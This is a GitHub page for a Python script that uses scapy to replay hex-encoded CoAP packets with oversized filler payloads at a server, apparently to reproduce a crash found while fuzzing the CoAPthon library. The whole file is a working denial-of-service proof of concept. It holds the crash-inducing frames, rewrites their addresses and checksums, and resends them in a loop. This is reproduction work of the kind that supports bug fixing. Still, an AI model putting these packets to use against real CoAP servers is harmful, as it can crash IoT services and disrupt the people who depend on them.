-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathreplicate_crash_CoAPthon.py
50 lines (43 loc) · 3.55 KB
/
replicate_crash_CoAPthon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import scapy.all as scapy
import time
from binascii import unhexlify
# Start from 88990
# duplicate this packte for 3 times (can get crash)
packet_lst_crash_CoAPthon_1 = [
"ecf1f8d5476becf1f8d5476b080045000052d415400040117ff60a2f00010a0dd25280a51633003e6ae65803fdc20f54e9d167a39343ae7365706172617465ff6868686868686868686868686868686868686868686868686868686868686868",
]
# duplicate this packet for around 10 times can get crash
packet_lst_crash_CoAPthon_2 = [
"ecf1f8d5476becf1f8d5476b0800450003a7df2b40004011718b0a2f00010a0dd25280a51633039329bc4703fdcc0f54e9db386f0904c66368696c641100d12310ff68686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868",
]
# manage to solve the sending packets to server issue
def verify_lst_server(lst):
count = 2
for idx, pkt in enumerate(lst):
# time.sleep(3)
print("Packet: ", idx)
while(count > 1):
frame = scapy.Ether(unhexlify(pkt))
frame[scapy.Ether].src ='00:d4:9e:83:48:d9'
# frame[scapy.Ether].dst = 'ec:f1:f8:d5:47:6b'
# frame[scapy.Ether].src ='00:d4:9e:83:48:d9'
frame[scapy.Ether].dst = '38:7a:0e:e0:f0:15'
# pkt[IP].src = "10.42.0.100"
frame[scapy.IP].src = '10.13.210.82'
# frame[scapy.IP].src = '10.13.210.82'
# frame[scapy.IP]
frame[scapy.IP].dst = '10.13.180.71'
# frame[scapy.IP].dst = '0.0.0.0'
del frame[scapy.IP].chksum
del frame[scapy.UDP].chksum
scapy.sendp(frame,iface = 'wlan0')
time.sleep(0.5)
count = count - 1
print(count)
# time.sleep(1)
count = 2
# test replicatble crashed packets to the board
count = 5
while(count>0):
verify_lst_server(packet_lst_crash_CoAPthon_1)
count = count -1